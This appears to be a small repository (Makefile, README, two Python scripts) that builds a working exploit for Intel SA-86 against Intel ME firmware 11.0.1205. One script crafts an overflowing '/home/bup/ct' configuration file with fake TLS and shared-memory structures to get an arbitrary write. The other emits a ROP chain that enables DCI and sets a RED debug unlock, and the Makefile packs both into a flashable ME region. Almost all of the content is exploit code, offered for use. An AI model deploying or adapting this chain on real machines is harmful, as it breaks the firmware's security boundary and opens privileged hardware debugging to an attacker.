├── Makefile ├── README.md ├── sa86_arb_wr.py └── sa86_rops.py /Makefile: -------------------------------------------------------------------------------- 1 | MFS_TEMPL=AFS_region_400K.bin 2 | MFSTOOL=mfstool 3 | MEREGIONTOOL=meregiontool 4 | MECONFIGTOOL=meconfigtool 5 | REGION_DIR=region 6 | ROPS_BASE=379784 7 | 8 | extract: 9 | $(MEREGIONTOOL) x clean_rom.bin $(REGION_DIR) 10 | # You could also extract the ROM here 11 | 12 | rom_image.bin: meregion.bin input_rom.bin 13 | cp input_rom.bin $@ 14 | dd conv=notrunc seek=3 bs=4096 if=meregion.bin of=$@ 15 | 16 | expl/rops.bin: sa86_rops.py 17 | ./sa86_rops.py $@ 18 | 19 | fitc/home/bup/ct: expl/rops.bin sa86_arb_wr.py 20 | ./sa86_arb_wr.py $(ROPS_BASE) expl/rops.bin $@ 21 | 22 | mfs/intel.cfg: $(shell find intel_cfg -type f) 23 | $(MECONFIGTOOL) c $@ intel_cfg 24 | 25 | mfs/fitc.cfg: fitc/home/bup/ct $(shell find fitc -type f) 26 | $(MECONFIGTOOL) c $@ fitc 27 | 28 | region/MFS.mep: $(MFS_TEMPL) mfs/intel.cfg mfs/fitc.cfg 29 | rm -f region/MFS.mep 30 | $(MFSTOOL) c $@ $(MFS_TEMPL) mfs 31 | 32 | meregion.bin: $(shell find $(REGION_DIR) -type f) 33 | $(MEREGIONTOOL) c $@ $(REGION_DIR) 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Make sure you have this in your path: 2 | https://pbx.sh/meimagetool-fragment.tar.gz 3 | 4 | You can extract the binaries from an image by running 5 | ``` 6 | # save your ME region as clean_rom.bin 7 | make extract 8 | ``` 9 | 10 | If you want to use a newly created ME region (by FITC) you can directly extract 11 | your MFS using 12 | ``` 13 | mfstool x region/MFS.mep mfs 14 | meconfigtool x mfs/intel.cfg intel_cfg 15 | meconfigtool x mfs/fitc.cfg fitc_cfg 16 | ``` 17 | Otherwise, grab your ME region and extract this in your homedir 18 | https://pbx.sh/config_spt_lp.tar.gz 19 | 20 | You will also need the AFS_region_400K.bin file which is a resource in Intel's 21 | Flash Image Tool 22 | 23 | The constants in this repo are set for firmware 11.0.1205, but adapting them 24 | should be easy once I publish my writeup. 25 | 26 | This image will not boot, but it will enable debugging. 27 | -------------------------------------------------------------------------------- /sa86_arb_wr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | import io 6 | import argparse 7 | 8 | def filesz( f ): 9 | return os.path.getsize( f.name ) 10 | 11 | def round4k( i ): 12 | return (i + 4095) & 0xFFFFF000 13 | 14 | def read_f( f, p, n ): 15 | f.seek(p) 16 | return f.read( n ) 17 | 18 | def read_a( f, n ): 19 | b = f.read(n) 20 | return int.from_bytes( b, byteorder='little' ) 21 | 22 | def read_a32( f ): 23 | return read_a( f, 4 ) 24 | 25 | def read_a16( f ): 26 | return read_a( f, 2 ) 27 | 28 | def read_r32( f ): 29 | r = read_a32( f ) 30 | return ( r + f.tell() ) & 0xFFFFFFFF 31 | 32 | def ver_sig( f, n, sig ): 33 | b = f.read( len( sig ) ) 34 | if b != sig: 35 | print( "sig mismatch for: ", n, ": ", b ) 36 | sys.exit(255) 37 | 38 | def write_u( f, n, v ): 39 | b = v.to_bytes(n, byteorder='little') 40 | f.write( b ) 41 | 42 | def blki( a ): 43 | return a // 64 44 | 45 | def blko( a ): 46 | return a % 64 47 | 48 | parser = argparse.ArgumentParser( 49 | description="Generate exploit \"/home/bup/ct\" file for Intel SA-86" 50 | ) 51 | 52 | parser.add_argument( 53 | 'address', 54 | metavar="address", 55 | type=int, 56 | help="The address to write the payload to") 57 | 58 | parser.add_argument( 59 | 'input', 60 | metavar="payload", 61 | type=argparse.FileType("rb"), 62 | help="The payload to drop") 63 | 64 | parser.add_argument( 65 | 'output', 66 | metavar="output", 67 | type=argparse.FileType("wb"), 68 | help="The path to write the output to.") 69 | 70 | parser.add_argument( 71 | '--stack', 72 | '-s', 73 | type=int, 74 | default=0x5d000, 75 | help="The stack top address for the program") 76 | 77 | parser.add_argument( 78 | '--tid', 79 | '-t', 80 | type=int, 81 | default=0x3000300, 82 | help="The thread ID for the target program (default is BUP)") 83 | 84 | parser.add_argument( 85 | '--ctdepth', 86 | '-d', 87 | type=int, 88 | default=0x380, 89 | help="The stack depth of the overflowed variable") 90 | 91 | parser.add_argument( 92 | '--errno', 93 | '-e', 94 | type=int, 95 | default=0, 96 | help="The errno to inject in the fake TLS") 97 | 98 | 99 | ns = parser.parse_args() 100 | 101 | stack_base = ns.stack 102 | ct_stack_off = -ns.ctdepth 103 | errno = ns.errno 104 | thread_id = ns.tid 105 | tls_size = 0x14 106 | tls_addr = stack_base - tls_size 107 | ct_base_addr = stack_base + ct_stack_off 108 | ct_hdr_size = 0x8 109 | shm_ctx_size = 0x35 110 | shm_ctx_off = 0x68 111 | shm_hdr_size = 0xD 112 | payload_data = ns.input.read() 113 | payload_size = len(payload_data) 114 | target_addr = ns.address 115 | f = ns.output 116 | payload_pad = 64 117 | 118 | print("-------------------------------") 119 | print(" Payload details ") 120 | print("-------------------------------") 121 | print("payload_size: %8X"%payload_size) 122 | print("target_addr: %8X"%target_addr) 123 | print("") 124 | print("-------------------------------") 125 | print(" Target details ") 126 | print("-------------------------------") 127 | print("stack_base: %8X"%stack_base) 128 | print("ct_stack_off: -%8X"%(-ct_stack_off)) 129 | print("ct_base_addr: %8X"%ct_base_addr) 130 | print("shm_ctx_off: %8X"%shm_ctx_off) 131 | 132 | if blki(tls_addr - ct_base_addr) != blki(stack_base - 1 - ct_base_addr): 133 | print("warning: TLS crosses block boundary, exploit might not work!") 134 | 135 | if blko(stack_base) != 0: 136 | print("warning; gap between TLS and arbitrary write block") 137 | print(" overflow will thrash heap!") 138 | 139 | sysctx_base = tls_addr - shm_ctx_off - shm_ctx_size 140 | shmhdr_base = tls_addr - shm_hdr_size 141 | shmhdr_off = shmhdr_base - ct_base_addr 142 | shmblk_cnt = ((shmhdr_off - ct_hdr_size) // 0x14) 143 | shmblk_end = shmhdr_base 144 | shmblk_base = shmblk_end - shmblk_cnt * 0x14 145 | shmblk_off = shmblk_base - ct_base_addr 146 | pad_size = shmblk_off - ct_hdr_size 147 | target_wrad = target_addr + ct_stack_off - payload_pad 148 | 149 | print("sysctx_base: %8X"%sysctx_base) 150 | print("shmhdr_base: %8X"%shmhdr_base) 151 | print("shmhdr_off: %8X"%shmhdr_off) 152 | print("shmblk_off: %8i"%shmblk_off) 153 | print("shmblk_base: %8X"%shmblk_base) 154 | print("shmblk_cnt: %8i"%shmblk_cnt) 155 | print("shmblk_end: %8X"%shmblk_end) 156 | print("target_wrad: %8X"%target_wrad) 157 | print("shmbuf_size: %8X"%(payload_size - ct_stack_off)) 158 | print("pad_size: %8X"%pad_size) 159 | 160 | def write_ct_hdr( f, unk0, unk1, count ): 161 | write_u( f, 4, unk0 ) 162 | write_u( f, 2, unk1 ) 163 | write_u( f, 2, count ) 164 | 165 | def write_tls( f, syslib_ctx, errno, gtid, stack_base ): 166 | write_u( f, 4, 0 ) 167 | write_u( f, 4, syslib_ctx) 168 | write_u( f, 4, errno) 169 | write_u( f, 4, gtid) 170 | write_u( f, 4, stack_base - 4) 171 | 172 | def write_shm_hdr( f, blocks, nblocks ): 173 | write_u( f, 4, blocks ) 174 | write_u( f, 4, nblocks ) 175 | write_u( f, 4, 0 ) 176 | write_u( f, 1, 0 ) 177 | 178 | def write_shm_blk( f, flags, buf, size ): 179 | write_u( f, 4, flags ) # 00 180 | write_u( f, 4, buf ) # 04 181 | write_u( f, 4, size ) # 08 182 | write_u( f, 4, 0 ) # 0C 183 | write_u( f, 4, 0 ) # 10 184 | write_ct_hdr( f, 0, 0, 0 ) 185 | f.write( b"\0" * pad_size ) 186 | for i in range( 0, shmblk_cnt ): 187 | write_shm_blk( f, 1, target_wrad, payload_size + payload_pad - ct_stack_off ) 188 | write_shm_hdr( f, shmblk_base, shmblk_cnt ) 189 | write_tls( f, sysctx_base, errno, thread_id, stack_base ) 190 | f.write( b"\0" * payload_pad ) 191 | f.write( payload_data ) 192 | -------------------------------------------------------------------------------- /sa86_rops.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | import io 6 | 7 | def write_u( f, n, v ): 8 | b = v.to_bytes(n, byteorder='little') 9 | f.write( b ) 10 | 11 | 12 | a = open(sys.argv[1],"wb") 13 | 14 | write_u( a, 4, 0x515cc ) # enable_dci_by_strap() 15 | write_u( a, 4, 0x11b9 ) # write_seg_32 16 | write_u( a, 4, 0x50bed ) # pop 3 args 17 | write_u( a, 4, 0x0010f ) # write_seg_32 arg 0 : Segment selector 0x10F 18 | write_u( a, 4, 0x00000 ) # write_seg_32 arg 1 : Offset 0 19 | write_u( a, 4, 0x00003 ) # write_seg_32 arg 2 : Value 3 ( RED unlock ) 20 | write_u( a, 4, 0x12757 ) # infinite loop 21 | --------------------------------------------------------------------------------